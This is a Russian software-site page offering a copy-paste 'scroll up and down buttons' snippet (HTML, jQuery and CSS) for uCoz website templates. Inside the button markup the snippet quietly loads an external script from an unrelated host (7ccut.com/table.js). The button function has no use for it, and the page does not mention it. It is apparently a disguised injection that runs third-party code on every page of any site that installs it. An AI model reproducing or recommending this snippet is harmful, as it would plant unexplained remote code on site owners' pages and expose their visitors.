Среда, 12.12.2018, 18:00
Главная



Вход
Приветствую Вас Гость | RSS
http://www.loadru.ru- лучший софт для Вашего П. К.
Форма входа
Меню сайта
Категории раздела
ИНТЕРНЕТ И СЕТЬ [36]
ЗАЩИТА [36]
МОБИЛЬНИКИ [57]
МУЛЬТИМЕДИА [103]
СИСТЕМА [109]
СКИНЫ\ОБОИ\ИКОНКИ [47]
ДРАЙВЕРЫ [8]
СКРИПТЫ [227]
Скрипты "Платное бесплатно!"
ПРОЧЕЕ [13]
Наш опрос
Какие типы программ стоит размещать на нашем сайте?
Всего ответов: 66
Кнопки
Наша кнопка
Лучший софт для Вашего П. К.
Реклама


Главная » Файлы » СКРИПТЫ

Кнопка Вверх и вниз для сайта
Все файлы, статьи, опубликованные материалы, находящиеся на данном сайте, были найдены в сети интернет, как свободно распространяемые или присланы различными пользователями.
Подождите: 0 сек ...
Внимание: зарегистрируйтесь и скачивайте без ожидания.
07.12.2013, 21:19
Как правильно установить кнопку "Вверх и вниз" на сайт?

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<div style="display:none;" class="nav_up" id="nav_up">
  <img alt="↑" width="32" height="32" src="http://pnghosts.ru/img/2_u.ico" > </div>
  <div style="display:none;" class="nav_down" id="nav_down">
  <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  <img alt="↓" width="32" height="32" src="http://pnghosts.ru/img/2_d.ico" > </div>
  <script>
  $(function() {
  var $elem = $('body');
   
  $('#nav_up').fadeIn('slow');
  $('#nav_down').fadeIn('slow');  
   
  $(window).bind('scrollstart', function(){
  $('#nav_up,#nav_down').stop().animate({'opacity':'0.2'});
  });
  $(window).bind('scrollstop', function(){
  $('#nav_up,#nav_down').stop().animate({'opacity':'1'});
  });
   
  $('#nav_down').click(
  function (e) {
  $('html, body').animate({scrollTop: $elem.height()}, 800);
  }
  );
  $('#nav_up').click(
  function (e) {
  $('html, body').animate({scrollTop: '0px'}, 800);
  }
  );
  });
  </script>


Это вставляем в "Таблица стилей (CSS)" в самый низ

Код
.nav_up{
  padding:2px;
  position:fixed;
  width:32px;
  height:32px;
  bottom:20px;
  opacity:0.7;
  right:30px;
  cursor: pointer;
  }
.nav_down{
  padding:2px;
  position:fixed;
  width:32px;
  height:32px;
  bottom:20px;
  opacity:0.7;
  right:66px;
  cursor: pointer;
  }


Готово.
Категория: СКРИПТЫ | Добавил: Bitfood
Просмотров: 60 | Загрузок: 0 | Рейтинг: 0.0/0
Перед тем как скачать "Кнопка Вверх и вниз для сайта", проверьте ВСЕ ссылки на работоспособность. На момент публикации "", все ссылки были в рабочем состоянии
Всего комментариев: 0
Поиск
Теги
Профиль
Привет: Гость

Сообщения:

Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
Кто нас сегодня посетил
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Зарег. на сайте Всего: 144

Новых за месяц: 0

Новых за неделю: 0

Новых вчера: 0

Новых сегодня: 0

Друзья сайта
  • Наши партнёры!

  • Наш файловый хостинг


  • Мини-чат
    Реклама
    mad08.ucoz.ru © 2018
    Проверить тиц pr
    создание сайтов, разработка сайтов Лучший софт для Вас!